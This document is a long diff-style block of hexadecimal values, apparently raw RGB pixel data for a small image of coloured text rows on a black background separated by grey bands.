+000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000004C7D1D8AE23482D63151851F29420F03040100000000000021360C8AE234 +87DD3364A32664A32664A32681D4318AE2343354130000000000000D15058AE2348AE234060B02 +00000000000000000000000073BC2B8AE2342B47100000003455148AE2346AAE28000000000000 +7ECE2F8AE2342C481100000000000078C42D8AE234253D0E000000000000000000000000000000 +0000000000000000000000000000007ECE2F8AE2342C481100000000000078C42D8AE234253D0E +000000263F0E8AE23475C02C00000069AC288AE234335413000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000D15058AE2348AE234060B02000000 +00000000000000000000000079C72E8AE234345514000000000000000000000000000000040702 +34561451851F5A93225B96228AE2348AE2340B130400000000000000000066A7268AE234385C15 +00000000000000000000000000000000000066A7268AE234385C15000000000000000000000000 +00000000000027400F8AE23477C32D0000000000000000000000005E99238AE2344E801D000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000007ECE2F8AE2342C481100000000000078C42D8AE234253D0E000000263F0E8AE23475C02C +00000069AC288AE234335413000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED +EDEDED00000002030167A8278AE2348AE2348AE2348AE2348AE2348AE2340F1906000000000000 +0D15058AE2348AE234060B020000000000000000000000000000000D15058AE2348AE234060B02 +00000000000000000002030167A8278AE2348AE2348AE2348AE2348AE2348AE2340F1906000000 +68AA278AE2343D631700000000000000000000000000000000000064A3268AE2348AE23486DC33 +88DF331828090000000000000000000A110462A12589E1348AE2348AE2347AC72E162308000000 +0000000000000000000000000000000000000000000000000000000000007ECE2F8AE234233A0D +0000000000006FB72A8AE234304F120000000203017CCB2F8AE234253C0E89E03485DA32070C03 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000385C15 +8AE234325213304E128AE23436591429430F8AE2343E661700000000000000000027400F8AE234 +77C32D0000000000000000000000000000000D15058AE2348AE234060B02000000000000000000 +385C158AE234325213304E128AE23436591429430F8AE2343E6617000000000000000000000000 +0000000000000000000000000000000000007ECE2F8AE234233A0D0000000000006FB72A8AE234 +304F120000000203017CCB2F8AE234253C0E89E03485DA32070C03000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000006891BC729FCF +1D29350000000000005C80A7729FCF28374800000056789C729FCF32465B000000000000000000 +00000000000001020255769A729FCF729FCF729FCF729FCF729FCF729FCF0D11170000006891BC +729FCF1D29350000000000005C80A7729FCF283748000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000000A110462A125 +89E1348AE2348AE2347AC72E1623080000002B47108AE2348AE2348AE2348AE2348AE2348AE234 +8AE2343A5F160000000000000D15058AE2348AE234060B0200000000000000000000000073BC2B +8AE2342B47100000003455148AE2346AAE280000000000007ECE2F8AE234233A0D000000000000 +6FB72A8AE234304F12000000000000000000000000000000000000000000000000000000000000 +7ECE2F8AE234233A0D0000000000006FB72A8AE234304F120000000203017CCB2F8AE234253C0E +89E03485DA32070C03000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000D15058AE2348AE234060B0200000000000000000000000000000079C72E +8AE23428410F00000000000000000000000002030167A8278AE2348AE2348AE2348AE2348AE234 +8AE2340F190600000000000000000066A7268AE234385C15000000000000000000000000000000 +00000066A7268AE234385C1500000000000000000000000000000000000027400F8AE23477C32D +00000000000000000000000068AA278AE2343D6317000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000007ECE2F8AE234233A0D000000 +0000006FB72A8AE234304F120000000203017CCB2F8AE234253C0E89E03485DA32070C03000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000EDEDEDEDEDEDEDEDEDEDEDEDEDEDED +EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED0000001B2B0A8AE2348AE234 +355714060B02080C038AE2348AE2340F19060000000000000D15058AE2348AE234060B02000000 +0000000000000000000000000D15058AE2348AE234060B020000000000000000001B2B0A8AE234 +8AE234355714060B02080C038AE2348AE2340F19060000005E9A238AE2344D7F1D000000000000 +00000000000000000000000064A3268AE2344F811E416A188AE23467A827000000000000000000 +0000000000000F190635571470B72A8AE2345B9522000000000000000000000000000000000000 +0000000000000000000000000000007ECE2F8AE2343353130000000000007ECE2F8AE234253D0E +0000000000004B7B1C8AE23478C42D8AE2345C9723000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000385C158AE234325213304E128AE234365914 +29430F8AE2343F671800000000000000000027400F8AE23477C32D000000000000000000000000 +0000000D15058AE2348AE234060B02000000000000000000385C158AE234325213304E128AE234 +36591429430F8AE2343F6718000000000000000000000000000000000000000000000000000000 +0000007ECE2F8AE2343353130000000000007ECE2F8AE234253D0E0000000000004B7B1C8AE234 +78C42D8AE2345C9723000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000006891BC729FCF2A3B4C0000000000006891BC729FCF +1F2B380000004E6C8D729FCF405974000000000000000000000000000000161F28729FCF729FCF +2C3D5005070A06090B729FCF729FCF0D11170000006891BC729FCF2A3B4C0000000000006891BC +729FCF1F2B38000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000F190635571470B72A8AE2345B9522 +00000022380D8AE23481D3310000000000000000000000000000000000000000000000000D1505 +8AE2348AE234060B0200000000000000000000000072BA2B8AE2342C4911000000385B158AE234 +6AAE280000000000007ECE2F8AE2343353130000000000007ECE2F8AE234253D0E000000000000 +0000000000000000000000000000000000000000000000007ECE2F8AE234335313000000000000 +7ECE2F8AE234253D0E0000000000004B7B1C8AE23478C42D8AE2345C9723000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000000D15058AE234 +8AE234060B0200000000000000000000000000000079C72E8AE23427400F000000000000000000 +0000001B2B0A8AE2348AE234355714060B02080C038AE2348AE2340F1906000000000000000000 +66A7268AE234385C1500000000000000000000000000000000000066A7268AE234385C15000000 +00000000000000000000000000000027400F8AE23477C32D0000000000000000000000005E9A23 +8AE2344D7F1D000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000007ECE2F8AE2343353130000000000007ECE2F8AE234253D0E000000 +0000004B7B1C8AE23478C42D8AE2345C9723000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED +EDEDEDEDEDEDEDEDEDEDEDED000000233A0D8AE23489E134020401000000263E0E8AE2348AE234 +0F1906000000000000090E038AE2348AE234121D07000000000000000000000000000000090E03 +8AE2348AE234121D07000000000000000000233A0D8AE23489E134020401000000263E0E8AE234 +8AE2340F19060000003C62178AE23481D4311C2E0B0000000A100436581400000000000064A326 +8AE2343A60160508027CCB2F8AE2342D4A1100000000000021360C0A1104000000000000263E0E +8AE2346AAE28000000000000000000000000578F2179C72E599121000000000000000000000000 +7ECE2F8AE2346BAF280508022F4D128AE23489E134101B060000000000001827098AE2348AE234 +8AE2342B4610000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000385C158AE234325213304E128AE23436591429430F8AE2343F6718000000000000 +00000027400F8AE23477C32D000000000000000000000000000000090E038AE2348AE234121D07 +000000000000000000385C158AE234325213304E128AE23436591429430F8AE2343F6718000000 +000000000000578F2179C72E5991210000000000000000000000007ECE2F8AE2346BAF28050802 +2F4D128AE23489E134101B060000000000001827098AE2348AE2348AE2342B4610000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000006891BC729FCF597BA1040607273647729FCF729ECE0D131800000032455A729FCF6B95C2 +17202A000000080B0F2C3E500000001D2935729FCF729ECE0202030000001F2C39729FCF729FCF +0D11170000006891BC729FCF597BA1040607273647729FCF729ECE0D1318000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +00000021360C0A1104000000000000263E0E8AE2346AAE28000000070C0385D9328AE234385C15 +0000000000000B120444701A090E03000000000000090E038AE2348AE234121D07000000000000 +00000000000067A9278AE2343D6317000000558B208AE2346AAE280000000000007ECE2F8AE234 +6BAF280508022F4D128AE23489E134101B06000000000000000000578F2179C72E599121000000 +0000000000000000007ECE2F8AE2346BAF280508022F4D128AE23489E134101B06000000000000 +1827098AE2348AE2348AE2342B4610000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000090E038AE2348AE234121D07000000000000000000 +00000000000079C72E8AE23427400F000000000000000000000000233A0D8AE23489E134020401 +000000263E0E8AE2348AE2340F190600000000000000000066A7268AE234385C15000000000000 +00000000000000000000000066A7268AE234385C15000000000000000000000000000000000000 +27400F8AE23477C32D0000000000000000000000003C62178AE23481D4311C2E0B0000000A1004 +365814000000000000000000000000578F2179C72E5991210000000000000000000000007ECE2F +8AE2346BAF280508022F4D128AE23489E134101B060000000000001827098AE2348AE2348AE234 +2B4610000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000EDEDEDEDEDED +EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED000000 +090E0380D2308AE234568C203C61167BCA2E8AE2348AE2340F19060000000000000000007AC72E +8AE2347ECF306AAE285B95220000000000000000000000007AC72E8AE2347ECF306AAE285B9522 +000000090E0380D2308AE234568C203C61167BCA2E8AE2348AE2340F1906000000070C0377C32D +8AE2348AE23481D4318AE2346AAE2800000000000064A3268AE2343A6016000000375A158AE234 +79C62D040702000000548A2086DB326DB229619F257FD0308AE2344B7A1C000000000000000000 +00000064A3268AE23466A7260000000000000000000000007ECE2F8AE23480D23087DE338AE234 +8AE23463A2250000000000000000000000006FB72A8AE23481D331030501000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000385C158AE234325213 +304E128AE23436591429430F8AE2343F671800000065A5266AAE2873BC2B8AE23486DB326AAE28 +6AAE28385C150000000000000000007AC72E8AE2347ECF306AAE285B9522000000385C158AE234 +325213304E128AE23436591429430F8AE2343F671800000000000000000064A3268AE23466A726 +0000000000000000000000007ECE2F8AE23480D23087DE338AE2348AE23463A225000000000000 +0000000000006FB72A8AE23481D331030501000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000006891BC729FCF6A94C0709CCB +729FCF729FCF52729500000000000006080B6289B3729FCF729FCF6B95C2729FCF587A9F000000 +070A0D6A94C0729FCF476380314559668EB9729FCF729FCF0D11170000006891BC729FCF6A94C0 +709CCB729FCF729FCF527295000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000548A2086DB326DB229619F25 +7FD0308AE2344B7A1C00000000000044701A8AE2348AE2347ECF307BCA2E8AE2348AE2340B1204 +0000000000000000007AC72E8AE2347ECF306AAE285B952200000000000048761B8AE23482D631 +64A42686DC338AE2346AAE280000000000007ECE2F8AE23480D23087DE338AE2348AE23463A225 +00000000000000000000000064A3268AE23466A7260000000000000000000000007ECE2F8AE234 +80D23087DE338AE2348AE23463A2250000000000000000000000006FB72A8AE23481D331030501 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000007AC72E8AE2347ECF306AAE285B952200000000000000000079C72E8AE23427400F +000000000000000000000000090E0380D2308AE234568C203C61167BCA2E8AE2348AE2340F1906 +00000000000000000066A7268AE234385C1500000000000000000000000000000000000066A726 +8AE234385C1500000000000000000000000065A5266AAE2873BC2B8AE23486DB326AAE286AAE28 +385C15000000070C0377C32D8AE2348AE23481D4318AE2346AAE28000000000000000000000000 +64A3268AE23466A7260000000000000000000000007ECE2F8AE23480D23087DE338AE2348AE234 +63A2250000000000000000000000006FB72A8AE23481D331030501000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED +EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED00000000000021360C6DB32985DA327AC72E +3658148AE2348AE2340F1906000000000000000000243B0E70B72A86DC338AE23477C32D000000 +000000000000000000243B0E70B72A86DC338AE23477C32D00000000000021360C6DB32985DA32 +7AC72E3658148AE2348AE2340F19060000000000000E170558902180D13085DA3271B92B345514 +00000000000064A3268AE2343A601600000002040175BF2C8AE234446F190000002D4A1166A827 +7ECF3087DD337BC92E50821E05090200000000000000000000000064A3268AE23466A726000000 +0000000000000000007ECE2F8AE2343151136DB22986DC3366A7260F1906000000000000000000 +0000004B7A1C8AE23453881F000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000385C158AE234325213304E128AE23436591429430F8AE234 +3F671800000084D8328AE2348AE2348AE2348AE2348AE2348AE2344A791C000000000000000000 +243B0E70B72A86DC338AE23477C32D000000385C158AE234325213304E128AE23436591429430F +8AE2343F671800000000000000000064A3268AE23466A7260000000000000000000000007ECE2F +8AE2343151136DB22986DC3366A7260F19060000000000000000000000004B7A1C8AE23453881F +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000006891BC729FCF29394A5A7DA36F9BC95475990D1117000000000000 +0000000C10154966846A93C06E99C85D82AA2B3C4E0000000000001B26325A7EA46E99C8658CB7 +2C3E50729FCF729FCF0D11170000006891BC729FCF29394A5A7DA36F9BC95475990D1117000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000002D4A1166A8277ECF3087DD337BC92E50821E050902000000000000 +000000375A1571B92B86DC3383D63172BB2B4A791C040601000000000000000000243B0E70B72A +86DC338AE23477C32D000000000000090F0362A12585D9326DB32947741B8AE2346AAE28000000 +0000007ECE2F8AE2343151136DB22986DC3366A7260F190600000000000000000000000064A326 +8AE23466A7260000000000000000000000007ECE2F8AE2343151136DB22986DC3366A7260F1906 +0000000000000000000000004B7A1C8AE23453881F000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000243B0E70B72A86DC33 +8AE23477C32D00000000000000000079C72E8AE23427400F000000000000000000000000000000 +21360C6DB32985DA327AC72E3658148AE2348AE2340F190600000000000000000066A7268AE234 +385C1500000000000000000000000000000000000066A7268AE234385C15000000000000000000 +00000084D8328AE2348AE2348AE2348AE2348AE2348AE2344A791C0000000000000E1705589021 +80D13085DA3271B92B34551400000000000000000000000064A3268AE23466A726000000000000 +0000000000007ECE2F8AE2343151136DB22986DC3366A7260F1906000000000000000000000000 +4B7A1C8AE23453881F000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED +EDEDEDEDEDED000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000007ECE2F8AE234 +20350C00000000000000000000000000000000000000000004060177C32D8AE23422370D000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000007ECE2F8AE23420350C000000000000000000 +00000000000000000000000004060177C32D8AE23422370D000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000000000006891BC +729FCF1B2531000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +6891BC729FCF1B2531000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000007ECE2F8AE23420350C000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000007ECE2F8AE23420350C00000000000000000000000000000000000000000004060177C32D +8AE23422370D000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000007ECE2F8AE23420350C +00000000000000000000000000000000000000000004060177C32D8AE23422370D000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000EDEDEDEDEDEDEDEDEDEDEDED +EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000007ECE2F8AE23420350C000000000000000000000000 +000000060B0268AA277AC72E8AE23470B72A000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000007ECE2F8AE23420350C000000000000000000000000000000060B0268AA277AC72E +8AE23470B72A000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000006891BC729FCF1B2531000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000006891BC729FCF1B2531000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000007ECE2F8AE23420350C000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000007ECE2F8AE23420350C000000 +000000000000000000000000060B0268AA277AC72E8AE23470B72A000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000007ECE2F8AE23420350C000000000000000000000000000000 +060B0268AA277AC72E8AE23470B72A000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED +EDEDEDEDEDEDEDEDEDEDEDEDEDEDED000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000007ECE2F8AE23420350C000000000000000000000000000000090E038AE23489E1346FB62A +162308000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000007ECE2F8AE23420350C +000000000000000000000000000000090E038AE23489E1346FB62A162308000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 